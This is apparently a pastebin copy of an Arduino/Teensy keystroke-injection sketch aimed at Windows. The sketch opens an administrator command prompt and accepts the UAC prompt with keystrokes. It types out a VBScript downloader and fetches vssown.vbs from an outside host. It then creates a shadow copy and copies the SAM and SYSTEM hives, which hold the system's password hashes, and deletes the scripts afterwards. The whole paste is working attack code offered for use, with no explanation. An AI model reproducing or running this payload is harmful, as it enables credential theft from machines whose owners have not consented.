SHOW:
|
|
- or go back to the newest paste.
1 | void setup() { | |
2 | delay(5000); | |
3 | cmd_admin(); | |
4 | delay(400); | |
5 | Keyboard.print("cd <DIRECTORY TO SAVE SAM AND SYSTEM TO>"); | |
6 | enter_key(); | |
7 | delay(200); | |
8 | Keyboard.print("copy con download.vbs"); | |
9 | enter_key(); | |
10 | Keyboard.print("Set args = WScript.Arguments:a = split(args(0), '/')(UBound(split(args(0),'/')))"); | |
11 | enter_key(); | |
12 | Keyboard.print("Set objXMLHTTP = CreateObject('MSXML2.XMLHTTP'):objXMLHTTP.open 'GET', args(0), false:objXMLHTTP.send()"); | |
13 | enter_key(); | |
14 | Keyboard.print("If objXMLHTTP.Status = 200 Then"); | |
15 | enter_key(); | |
16 | Keyboard.print("Set objADOStream = CreateObject('ADODB.Stream'):objADOStream.Open"); | |
17 | enter_key(); | |
18 | Keyboard.print("objADOStream.Type = 1:objADOStream.Write objXMLHTTP.ResponseBody:objADOStream.Position = 0"); | |
19 | enter_key(); | |
20 | Keyboard.print("Set objFSO = Createobject('Scripting.FileSystemObject'):If objFSO.Fileexists(a) Then objFSO.DeleteFile a"); | |
21 | enter_key(); | |
22 | Keyboard.print("objADOStream.SaveToFile a:objADOStream.Close:Set objADOStream = Nothing"); | |
23 | enter_key(); | |
24 | Keyboard.print("End if:Set objXMLHTTP = Nothing:Set objFSO = Nothing"); | |
25 | enter_key(); | |
26 | delay(400); | |
27 | Keyboard.set_modifier(MODIFIERKEY_CTRL); | |
28 | delay(400); | |
29 | Keyboard.set_key1(KEY_Z); | |
30 | Keyboard.send_now(); | |
31 | clear_keyboard(); | |
32 | delay(400); | |
33 | enter_key(); | |
34 | Keyboard.print("cscript download.vbs http://tools.lanmaster53.com/vssown.vbs"); | |
35 | enter_key(); | |
36 | delay(800); | |
37 | Keyboard.print("del download.vbs"); | |
38 | enter_key(); | |
39 | delay(400); | |
40 | Keyboard.print("cscript vssown.vbs /start"); | |
41 | enter_key(); | |
42 | delay(400); | |
43 | Keyboard.print("cscript vssown.vbs /create"); | |
44 | enter_key(); | |
45 | delay(400); | |
46 | Keyboard.print("copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\SAM ."); | |
47 | enter_key(); | |
48 | delay(400); | |
49 | Keyboard.print("copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\SYSTEM ."); | |
50 | enter_key(); | |
51 | delay(400); | |
52 | Keyboard.print("cscript vssown.vbs /stop"); | |
53 | enter_key(); | |
54 | delay(800); | |
55 | Keyboard.print("del vssown.vbs"); | |
56 | enter_key(); | |
57 | delay(500); | |
58 | Keyboard.print("exit"); | |
59 | enter_key(); | |
60 | } | |
61 | ||
62 | void loop() { | |
63 | digitalWrite(PIN_D6, LOW); // LED on | |
64 | delay(random(1000)); // Slow Blink | |
65 | digitalWrite(PIN_D6, HIGH); // LED off | |
66 | delay(random(1000)); | |
67 | } | |
68 | ||
69 | void run_command() { | |
70 | Keyboard.set_modifier(MODIFIERKEY_GUI); | |
71 | delay(500); | |
72 | Keyboard.set_key1(KEY_R); | |
73 | Keyboard.send_now(); | |
74 | clear_keyboard(); | |
75 | } | |
76 | ||
77 | void cmd_admin() { | |
78 | Keyboard.set_modifier(MODIFIERKEY_GUI); | |
79 | Keyboard.send_now(); | |
80 | clear_keyboard(); | |
81 | delay(500); | |
82 | Keyboard.print("cmd"); | |
83 | delay(500); | |
84 | Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT); | |
85 | Keyboard.set_key1(KEY_ENTER); | |
86 | Keyboard.send_now(); | |
87 | clear_keyboard(); | |
88 | delay(1500); | |
89 | Keyboard.set_key1(KEY_LEFT); | |
90 | Keyboard.send_now(); | |
91 | clear_keyboard(); | |
92 | delay(500); | |
93 | enter_key(); | |
94 | delay(500); | |
95 | } | |
96 | ||
97 | void clear_keyboard() { | |
98 | Keyboard.set_modifier(0); | |
99 | Keyboard.set_key1(0); | |
100 | Keyboard.send_now(); | |
101 | } | |
102 | ||
103 | void enter_key() { | |
104 | Keyboard.set_key1(KEY_ENTER); | |
105 | Keyboard.send_now(); | |
106 | clear_keyboard(); | |
107 | } |